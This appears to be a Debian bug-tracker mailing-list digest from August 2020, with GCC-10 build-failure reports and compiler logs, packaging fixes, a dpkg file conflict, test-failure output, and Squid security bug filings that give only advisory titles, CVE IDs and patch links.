Your message dated Mon, 24 Aug 2020 08:48:38 + with message-id and subject line Bug#958005: fixed in xtrkcad 1:5.2.0Beta2.1-1 has caused the Debian Bug report #958005, regarding xtrkcad: ftbfs with GCC-10 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 958005: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=958005 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: src:xtrkcad Version: 1:5.1.1-2 Severity: normal Tags: sid bullseye User: debian-...@lists.debian.org Usertags: ftbfs-gcc-10 Please keep this issue open in the bug tracker for the package it was filed for. If a fix in another package is required, please file a bug for the other package (or clone), and add a block in this package. Please keep the issue open until the package can be built in a follow-up test rebuild. The package fails to build in a test rebuild on at least amd64 with gcc-10/g++-10, but succeeds to build with gcc-9/g++-9. The severity of this report will be raised before the bullseye release, so nothing has to be done for the buster release. The full build log can be found at: http://people.debian.org/~doko/logs/gcc10-20200225/xtrkcad_5.1.1-2_unstable_gcc10.log The last lines of the build log are at the end of this report. To build with GCC 10, either set CC=gcc-10 CXX=g++-10 explicitly, or install the gcc, g++, gfortran, ... packages from experimental. apt-get -t=experimental install g++ Common build failures are new warnings resulting in build failures with -Werror turned on, or new/dropped symbols in Debian symbols files. For other C/C++ related build failures see the porting guide at http://gcc.gnu.org/gcc-10/porting_to.html [...] 36 | return __builtin___sprintf_chk (__s, __USE_FORTIFY_LEVEL - 1, | ^~ 37 | __bos (__s), __fmt, __va_arg_pack ()); | ~ [ 88%] Building C object app/bin/CMakeFiles/xtrkcad-lib.dir/lprintf.c.o cd /<>/obj-x86_64-linux-gnu/app/bin && /usr/bin/cc -DXTRKCAD_CMAKE_BUILD -I/<>/app/bin -I/<>/app/dynstring -I/<>/app/cornu -I/<>/obj-x86_64-linux-gnu/app/bin -I/<>/obj-x86_64-linux-gnu -I/<>/obj-x86_64-linux-gnu/app/help -I/<>/app/wlib/include -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -std=gnu99 -o CMakeFiles/xtrkcad-lib.dir/lprintf.c.o -c /<>/app/bin/lprintf.c [ 88%] Building C object app/bin/CMakeFiles/xtrkcad-lib.dir/macro.c.o cd /<>/obj-x86_64-linux-gnu/app/bin && /usr/bin/cc -DXTRKCAD_CMAKE_BUILD -I/<>/app/bin -I/<>/app/dynstring -I/<>/app/cornu -I/<>/obj-x86_64-linux-gnu/app/bin -I/<>/obj-x86_64-linux-gnu -I/<>/obj-x86_64-linux-gnu/app/help -I/<>/app/wlib/include -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -std=gnu99 -o CMakeFiles/xtrkcad-lib.dir/macro.c.o -c /<>/app/bin/macro.c [ 89%] Building C object app/bin/CMakeFiles/xtrkcad-lib.dir/misc2.c.o [ 89%] Building C object app/bin/CMakeFiles/xtrkcad-lib.dir/param.c.o cd /<>/obj-x86_64-linux-gnu/app/bin && /usr/bin/cc -DXTRKCAD_CMAKE_BUILD -I/<>/app/bin -I/<>/app/dynstring -I/<>/app/cornu -I/<>/obj-x86_64-linux-gnu/app/bin -I/<>/obj-x86_64-linux-gnu -I/<>/obj-x86_64-linux-gnu/app/help -I/<>/app/wlib/include -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -std=gnu99 -o CMakeFiles/xtrkcad-lib.dir/misc2.c.o -c /<>/app/bin/misc2.c cd /<>/obj-x86_64-linux-gnu/app/bin && /usr/bin/cc -DXTRKCAD_CMAKE_BUILD -I/<>/app/bin -I/<>/app/dynstring -I/<>/app/cornu -I/<>/obj-x86_64-linux-gnu/app/bin -I/<>/obj-x86_64-linux-gnu -I/<>/obj-x86_64-linux-gnu/app/help -I/<>/app/wlib/include -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -std=gnu99 -o CMakeFiles/xtrkcad-lib.dir/param.c.o -c /<>/app/bin/param.c [ 90%] Building C object app/bin/CMakeFiles/xtrkcad-lib.dir/paths.c.o cd /<>/obj-x86_64-linux-gnu/app/bin && /usr/bin/cc -DXTRKCAD_CMAKE_BUILD -I/<>/app/bin -I/<>/app/dynstring -I/<>/app/cornu -I/<>/obj-x86_64-linux-gnu/app/bin -I/<>/obj-x86_64-linux-gnu -I/<>/obj-x86_64-linux-gnu/app/help -I/<>/app/wlib/include -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -std=gnu99 -o CMakeFiles/xtrkcad-lib.dir/paths.c.o -c /<>/app/bin/paths.c /<>/app/bin/param.c: In function
Bug#957720: pyparted: ftbfs with GCC-10
* Matthias Klose [Fri Apr 17, 2020 at 11:09:24AM +]: > Package: src:pyparted > Version: 3.11.2-11.1 > Severity: normal > Tags: sid bullseye > User: debian-...@lists.debian.org > Usertags: ftbfs-gcc-10 > Please keep this issue open in the bug tracker for the package it > was filed for. If a fix in another package is required, please > file a bug for the other package (or clone), and add a block in this > package. Please keep the issue open until the package can be built in > a follow-up test rebuild. > The package fails to build in a test rebuild on at least amd64 with > gcc-10/g++-10, but succeeds to build with gcc-9/g++-9. The > severity of this report will be raised before the bullseye release, > so nothing has to be done for the buster release. [...] Current upstream version of pyparted is v3.11.6 (according to https://github.com/dcantrell/pyparted/releases) and version 3.11.5 included fixes for gcc 10, so it looks like it might be worth uploading a new version of pyparted to address this release critical issue? regards -mika- signature.asc Description: Digital signature
Bug#967118: 0ad: Unversioned Python removal in sid/bullseye
I think this issue is still not properly closed. The package removal reported in the first mail includes python-minimal, which has the /usr/bin/python executable. This is still used by libraries/source/cxxtest-4.4/bin/cxxtestgen file. Indeed Ubuntu also has this patch. diff -pruN 0.0.23.1-4/debian/patches/python2.patch 0.0.23.1-4ubuntu5/debian/patches/python2.patch --- 0.0.23.1-4/debian/patches/python2.patch1970-01-01 00:00:00.0 + +++ 0.0.23.1-4ubuntu5/debian/patches/python2.patch2020-02-06 12:02:59.0 + @@ -0,0 +1,12 @@ +Description: Update cxxtestgen shebang. +Author: Dimitri John Ledkov + + +--- 0ad-0.0.23.1.orig/libraries/source/cxxtest-4.4/bin/cxxtestgen 0ad-0.0.23.1/libraries/source/cxxtest-4.4/bin/cxxtestgen +@@ -1,4 +1,4 @@ +-#! /usr/bin/env python ++#! /usr/bin/env python2 + # + # The CxxTest driver script, which uses the cxxtest Python package. + #
Processed: Re: python3-commonmark: file conflict with cmark, php-league-commonmark
Processing control commands:
> found -1 0.9.1-2
Bug #968689 {Done: Sandro Tosi } [python3-commonmark]
python3-commonmark: file conflict with cmark
Marked as found in versions commonmark/0.9.1-2; no longer marked as fixed in
versions commonmark/0.9.1-2 and reopened.
> retitle -1 python3-commonmark: file conflict with cmark, php-league-commonmark
Bug #968689 [python3-commonmark] python3-commonmark: file conflict with cmark
Changed Bug title to 'python3-commonmark: file conflict with cmark,
php-league-commonmark' from 'python3-commonmark: file conflict with cmark'.
--
968689: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=968689
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
Bug#968689: python3-commonmark: file conflict with cmark, php-league-commonmark
Followup-For: Bug #968689 Control: found -1 0.9.1-2 Control: retitle -1 python3-commonmark: file conflict with cmark, php-league-commonmark Hi, you just traded the file conflict with cmark on /usr/bin/cmark with a new conflict with php-league-commonmark on /usr/bin/commonmark Preparing to unpack .../python3-commonmark_0.9.1-2_all.deb ... Unpacking python3-commonmark (0.9.1-2) ... dpkg: error processing archive /var/cache/apt/archives/python3-commonmark_0.9.1-2_all.deb (--unpack): trying to overwrite '/usr/bin/commonmark', which is also in package php-league-commonmark 1.5.3-1 Errors were encountered while processing: /var/cache/apt/archives/python3-commonmark_0.9.1-2_all.deb Andreas PS: there is a 'm' missing in the binary name in the -2 changelog entry
Bug#968932: squid: CVE-2020-15811: SQUID-2020:8 HTTP(S) Request Splitting
Source: squid Version: 4.12-1 Severity: grave Tags: security upstream X-Debbugs-Cc: car...@debian.org, Debian Security Team Hi, The following vulnerability was published for squid. CVE-2020-15811[0]: | SQUID-2020:8 HTTP(S) Request Splitting If you fix the vulnerability please also make sure to include the CVE (Common Vulnerabilities & Exposures) id in your changelog entry. For further information see: [0] https://security-tracker.debian.org/tracker/CVE-2020-15811 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15811 [1] https://github.com/squid-cache/squid/security/advisories/GHSA-c7p8-xqhm-49wv [2] http://www.squid-cache.org/Versions/v4/changesets/SQUID-2020_8.patch Please adjust the affected versions in the BTS as needed. Regards, Salvatore
Bug#968933: squid: SQUID-2020:9 Denial of Service processing Cache Digest Response
Source: squid Version: 4.12-1 Severity: grave Tags: security upstream Justification: user security hole X-Debbugs-Cc: car...@debian.org, Debian Security Team Hi, The following vulnerability was published for squid, but there is no CVE assigned yet: | SQUID-2020:9 Denial of Service processing Cache Digest Response If you fix the vulnerability please also make sure to include the CVE (Common Vulnerabilities & Exposures) id in your changelog entry. (once it is assigned if that happends before the upload). For further information see: [0] https://github.com/squid-cache/squid/security/advisories/GHSA-vvj7-xjgq-g2jg [1] http://www.squid-cache.org/Versions/v4/changesets/SQUID-2020_9.patch Please adjust the affected versions in the BTS as needed. Regards, Salvatore
Bug#968934: squid: CVE-2020-15810: SQUID-2020:10 HTTP(S) Request Smuggling
Source: squid Version: 4.12-1 Severity: grave Tags: security upstream Justification: user security hole X-Debbugs-Cc: car...@debian.org, Debian Security Team Hi, The following vulnerability was published for squid. CVE-2020-15810[0]: | SQUID-2020:10 HTTP(S) Request Smuggling If you fix the vulnerability please also make sure to include the CVE (Common Vulnerabilities & Exposures) id in your changelog entry. For further information see: [0] https://security-tracker.debian.org/tracker/CVE-2020-15810 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15810 [1] https://github.com/squid-cache/squid/security/advisories/GHSA-3365-q9qx-f98m [2] http://www.squid-cache.org/Versions/v4/changesets/SQUID-2020_10.patch Please adjust the affected versions in the BTS as needed. Regards, Salvatore
Bug#957496: marked as done (llvm-toolchain-8: ftbfs with GCC-10)
Your message dated Mon, 24 Aug 2020 07:19:02 + with message-id and subject line Bug#957496: fixed in llvm-toolchain-8 1:8.0.1-10 has caused the Debian Bug report #957496, regarding llvm-toolchain-8: ftbfs with GCC-10 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 957496: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=957496 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: src:llvm-toolchain-8 Version: 1:8.0.1-7 Severity: normal Tags: sid bullseye User: debian-...@lists.debian.org Usertags: ftbfs-gcc-10 Please keep this issue open in the bug tracker for the package it was filed for. If a fix in another package is required, please file a bug for the other package (or clone), and add a block in this package. Please keep the issue open until the package can be built in a follow-up test rebuild. The package fails to build in a test rebuild on at least amd64 with gcc-10/g++-10, but succeeds to build with gcc-9/g++-9. The severity of this report will be raised before the bullseye release, so nothing has to be done for the buster release. The full build log can be found at: http://people.debian.org/~doko/logs/gcc10-20200225/llvm-toolchain-8_8.0.1-7_unstable_gcc10.log The last lines of the build log are at the end of this report. To build with GCC 10, either set CC=gcc-10 CXX=g++-10 explicitly, or install the gcc, g++, gfortran, ... packages from experimental. apt-get -t=experimental install g++ Common build failures are new warnings resulting in build failures with -Werror turned on, or new/dropped symbols in Debian symbols files. For other C/C++ related build failures see the porting guide at http://gcc.gnu.org/gcc-10/porting_to.html [...] [ 2%] Building CXX object lib/Support/CMakeFiles/LLVMSupport.dir/raw_os_ostream.cpp.o cd /<>/build-llvm/tools/clang/stage2-bins/lib/Support && /<>/build-llvm/./bin/clang++ -D_GNU_SOURCE -D__STDC_CONSTANT_MACROS -D__STDC_FORMAT_MACROS -D__STDC_LIMIT_MACROS -I/<>/build-llvm/tools/clang/stage2-bins/lib/Support -I/<>/lib/Support -I/<>/build-llvm/tools/clang/stage2-bins/include -I/<>/include -fuse-ld=gold -fPIC -Wno-unused-command-line-argument -Wno-unknown-warning-option -fPIC -fvisibility-inlines-hidden -Werror=date-time -Werror=unguarded-availability-new -std=c++11 -Wall -Wextra -Wno-unused-parameter -Wwrite-strings -Wcast-qual -Wmissing-field-initializers -pedantic -Wno-long-long -Wimplicit-fallthrough -Wcovered-switch-default -Wno-class-memaccess -Wno-noexcept-type -Wnon-virtual-dtor -Wdelete-non-virtual-dtor -Wstring-conversion -ffunction-sections -fdata-sections -O2 -DNDEBUG -g1-fno-exceptions -o CMakeFiles/LLVMSupport.dir/raw_os_ostream.cpp.o -c /<>/lib/Support/raw_os_o stream.cpp [ 2%] Building CXX object lib/Support/CMakeFiles/LLVMSupport.dir/raw_ostream.cpp.o cd /<>/build-llvm/tools/clang/stage2-bins/lib/Support && /<>/build-llvm/./bin/clang++ -D_GNU_SOURCE -D__STDC_CONSTANT_MACROS -D__STDC_FORMAT_MACROS -D__STDC_LIMIT_MACROS -I/<>/build-llvm/tools/clang/stage2-bins/lib/Support -I/<>/lib/Support -I/<>/build-llvm/tools/clang/stage2-bins/include -I/<>/include -fuse-ld=gold -fPIC -Wno-unused-command-line-argument -Wno-unknown-warning-option -fPIC -fvisibility-inlines-hidden -Werror=date-time -Werror=unguarded-availability-new -std=c++11 -Wall -Wextra -Wno-unused-parameter -Wwrite-strings -Wcast-qual -Wmissing-field-initializers -pedantic -Wno-long-long -Wimplicit-fallthrough -Wcovered-switch-default -Wno-class-memaccess -Wno-noexcept-type -Wnon-virtual-dtor -Wdelete-non-virtual-dtor -Wstring-conversion -ffunction-sections -fdata-sections -O2 -DNDEBUG -g1-fno-exceptions -o CMakeFiles/LLVMSupport.dir/raw_ostream.cpp.o -c /<>/lib/Support/raw_ostream .cpp [ 2%] Building C object lib/Support/CMakeFiles/LLVMSupport.dir/regcomp.c.o cd /<>/build-llvm/tools/clang/stage2-bins/lib/Support && /<>/build-llvm/./bin/clang -D_GNU_SOURCE -D__STDC_CONSTANT_MACROS -D__STDC_FORMAT_MACROS -D__STDC_LIMIT_MACROS -I/<>/build-llvm/tools/clang/stage2-bins/lib/Support -I/<>/lib/Support -I/<>/build-llvm/tools/clang/stage2-bins/include -I/<>/include -fuse-ld=gold -fPIC -Wno-unused-command-line-argument -Wno-unknown-warning-option -fPIC -Werror=date-time -Werror=unguarded-availability-new -Wall -Wextra -Wno-unused-parameter -Wwrite-strings -Wmissing-field-initializers -pedantic -Wno-long-long -Wimplicit-fallthrough -Wcovered-switch-default -Wdelete-non-virtual-dtor -Wstring-conversion -ffunction-sections -fdata-sections -O2 -g -DNDEBUG -o CMakeFiles/LLVMSupport.dir/regcomp.c.o -c
Bug#968280: marked as done (ruby-kramdown-parser-gfm: ftbfs with 2 test failures)
Your message dated Mon, 24 Aug 2020 07:03:53 + with message-id and subject line Bug#968280: fixed in ruby-kramdown-parser-gfm 1.1.0-1 has caused the Debian Bug report #968280, regarding ruby-kramdown-parser-gfm: ftbfs with 2 test failures to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 968280: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=968280 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: ruby-kramdown-parser-gfm Version: 1.1.0-1~exp1 Severity: serious Control: affects -1 ruby-cucumber-core On a clean sid chroot with ruby-karmdown 2.3.0-3 added, it fails with this error message. So reuploading this package to unstable is blocked and it results in ruby-cucumber-core ftbfs unfixed. Finished in 0.066453s, 195.6271 runs/s, 195.6271 assertions/s. 1) Failure: TestFiles#test_gfm_backticks_syntax_to_html [/<>/test/test_files.rb:32]: --- expected +++ actual @@ -7,9 +7,9 @@ Unbalanced bottom heavy -class=\"highlight\">class=\"n\">language no class=\"n\">space - +language no space + -class=\"highlight\">class=\"n\">language with class=\"n\">space - +language with space + " 2) Failure: TestFiles#test_gfm_codeblock_fenced_to_html [/<>/test/test_files.rb:32]: --- expected +++ actual @@ -1,9 +1,9 @@ "normal -class=\"highlight\">class=\"nb\">require 'kramdown' +require 'kramdown' -Kramdown::class=\"no\">Document.class=\"nf\">new(class=\"n\">text).class=\"nf\">to_html - +Kramdown::Document.new(text).to_html + indent with tab @@ -16,6 +16,6 @@ indent with 2 spaces -class=\"highlight\"> class=\"nx\">console.class=\"nx\">log(class=\"dl\">\"helloclass=\"dl\">\"); - + console.log(\"hello\"); + " 13 runs, 13 assertions, 2 failures, 0 errors, 0 skips --- End Message --- --- Begin Message --- Source: ruby-kramdown-parser-gfm Source-Version: 1.1.0-1 Done: =?utf-8?q?C=C3=A9dric_Boutillier?= We believe that the bug you reported is fixed in the latest version of ruby-kramdown-parser-gfm, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 968...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Cédric Boutillier (supplier of updated ruby-kramdown-parser-gfm package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Mon, 24 Aug 2020 00:37:18 +0200 Source: ruby-kramdown-parser-gfm Architecture: source Version: 1.1.0-1 Distribution: unstable Urgency: medium Maintainer: Debian Ruby Team Changed-By: Cédric Boutillier Closes: 968280 Changes: ruby-kramdown-parser-gfm (1.1.0-1) unstable; urgency=medium . * Upload to unstable * Suggest and build-depend on ruby-rouge, needed for two tests (Closes: #968280) * Remove trailing spaces in changelog Checksums-Sha1: e864517f338d72ca971d80dd2b663cbdcbeac18f 1852 ruby-kramdown-parser-gfm_1.1.0-1.dsc 2a96deb3c5bf4440ba5d123f4e3203f097b34f95 8605 ruby-kramdown-parser-gfm_1.1.0.orig.tar.gz 520335fb5322bddeb0dea46ff0d51104f760ecda 2868 ruby-kramdown-parser-gfm_1.1.0-1.debian.tar.xz 064726b9e5c0e951f786bd63b64c14a0e637599f 8523 ruby-kramdown-parser-gfm_1.1.0-1_amd64.buildinfo Checksums-Sha256: 17e0732cf98b57a5d09c4cddcb2e5bff1127a89cd50a91c568f48590435bc649 1852 ruby-kramdown-parser-gfm_1.1.0-1.dsc 3f61c7f94610602a80d0138868056c91f10832177dcf5d448ea27fc92ff694ff 8605 ruby-kramdown-parser-gfm_1.1.0.orig.tar.gz e74cafaf17e3d900dc793495a9c1391b33495a9482dbeab8cf9f838b7084416a 2868 ruby-kramdown-parser-gfm_1.1.0-1.debian.tar.xz f262aa05d538d1335ba4c4267073964878d849a04b03d877ff665cac423cc35e 8523 ruby-kramdown-parser-gfm_1.1.0-1_amd64.buildinfo Files: 63fd71705c405ee7cd55b1ce9ad43a5a 1852 ruby optional ruby-kramdown-parser-gfm_1.1.0-1.dsc 623acefc04cab61b98145351f143267a 8605 ruby optional ruby-kramdown-parser-gfm_1.1.0.orig.tar.gz c226d01656fcb709e42407cc88303412 2868 ruby optional ruby-kramdown-parser-gfm_1.1.0-1.debian.tar.xz 97d0391db988921f79453ba6d8402a7f 8523 ruby optional ruby-kramdown-parser-gfm_1.1.0-1_amd64.buildinfo -BEGIN PGP SIGNATURE- iQEzBAEBCgAdFiEEnM1rMZ2/jkCrGr0aia+CtznNIXoFAl9DYOYACgkQia+CtznN IXqNEgf/QqcdHnFvjmr+pgghfNu4AH5VS6+422yddLocF0OIJ6HVxbEBjwpBUV3Q
Bug#933111: libcgi-application-perl: build-depends on pkg-components that won't be in Bullseye unless it finds a new upstream maintainer
Richard Hansen (2020-08-23): > On 2020-08-23 05:59, intrigeri wrote: >> - libtitanium-perl: webapp framework, overlay on top of >>CGI::Application, last upstream release in 2009, tiny popcon, but >>I see Richard Hansen added themselves to Uploaders a few days ago, >>so perhaps you're particularly interested in Titanium, and thus >>transitively in having a working CGI::Application underlying stack? > > I only touched libtitanium-perl because it is an rdep of > libcgi-application-plugin-viewcode-perl, which I split into two > packages to get rid of its dependency on pkg-components > (bug#933116). I worked on bug#933116 as part of yesterday's > low-hanging fruit session, not because I have any interest in > CGI::Application stuff. OK, thank you for making this clear :)
